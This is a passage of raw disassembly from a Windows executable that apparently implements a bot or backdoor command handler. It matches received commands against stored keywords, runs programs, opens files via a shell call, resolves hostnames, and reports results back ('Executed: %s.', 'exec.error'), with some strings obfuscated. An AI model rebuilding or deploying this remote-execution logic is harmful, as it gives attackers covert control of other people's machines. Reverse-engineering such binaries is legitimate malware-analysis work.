		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448C62
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C5E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C5E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D6099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D6075
		call	sub_401D0C
		call	edi
		mov	dword_4D6099, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2890000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E45
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_447896
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447834
		mov	ecx, offset dword_448D70
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_4478DF
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44790F
		mov	ecx, offset dword_448D70
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448D70
		call	sub_401E5B
		mov	byte_4D608C, 0
		mov	byte_4E6E44, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E5A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405026
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019B5
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_405026:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405144
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_405144:				; CODE XREF: sub_404C70+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405167
		mov	byte_4D608C, al
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_405167:				; CODE XREF: sub_404C70+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40542E
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F1
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_4051F1:				; CODE XREF: sub_404C70+56Bj
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C4
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A5
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540B
; ---------------------------------------------------------------------------


loc_4052C4:				; CODE XREF: sub_404C70+5C7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		call	near ptr 71AB4FD4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A5
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_4053A5:				; CODE XREF: sub_404C70+5E0j
					; sub_404C70+691j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540B:				; CODE XREF: sub_404C70+64Fj
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_40542E:				; CODE XREF: sub_404C70+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40551C
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019B5
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D6075
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_40551C:				; CODE XREF: sub_404C70+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40568A
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_40566D
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 77C293C7h
		nop
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405624
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405642
; ---------------------------------------------------------------------------


loc_405624:				; CODE XREF: sub_404C70+997j
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405642:				; CODE XREF: sub_404C70+9B2j
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_405668:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_40566D:				; CODE XREF: sub_404C70+91Cj
					; sub_404C70+C6Aj
		xor	al, al


loc_40566F:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_40568A:				; CODE XREF: sub_404C70+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405700
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_404C70+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F1
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D6075
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_4057F1:				; CODE XREF: sub_404C70+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058C5
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_405859
		mov	ebx, 7


loc_405859:				; CODE XREF: sub_404C70+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058AE
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118


loc_4058AE:				; CODE XREF: sub_404C70+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_4058C5:				; CODE XREF: sub_404C70+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40566D
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
